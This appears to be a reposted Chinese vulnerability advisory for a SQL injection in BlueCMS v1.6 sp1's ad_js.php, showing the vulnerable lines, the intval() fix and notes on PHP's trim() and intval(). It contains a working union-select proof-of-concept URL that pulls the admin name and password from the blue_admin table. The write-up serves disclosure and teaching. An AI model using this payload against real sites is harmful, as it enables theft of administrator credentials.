自学软件开发深圳高端seo外包公司
漏洞信息
类型
内容
编号
141
漏洞标题
BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞
漏洞类型
[SQL注射漏洞]
厂商
[BlueCMS]
提交日期
2010-07-30 19:49:00
公开日期
2010-07-30 21:52:00
Confirm Spend
-1
漏洞标签
php+数字类型注射 注射技巧 BlueCMS
漏洞简介
BlueCMS v1.6 sp1 某页面SQL注入漏洞
漏洞成因
缺陷文件:ad_js.php
第12行: $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 根目录下其他他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。
第19行: $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); //直接代入查询。。汗。 |
验证漏洞
单引号判断法
BlueCMS v1.6 sp1 ad_js.php SQL注入漏
验证POC
POC : view-source:http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
访问POC链接
漏洞修复
trim()函数修改为intval()函数,如下:
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';
重新访问POC测试效果
修复.png
笔记:
1.trim( )函数:移除字符串两侧的空白字符或其他预定义字符
语法
trim(string,charlist)
参数
描述
string
必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
intval()函数:获取变量的整数值
语法
intval ( mixed $var [, int $base = 10 ] )
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
参数
描述
var
要转换成 integer 的数量值
base
转化所使用的进制。
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。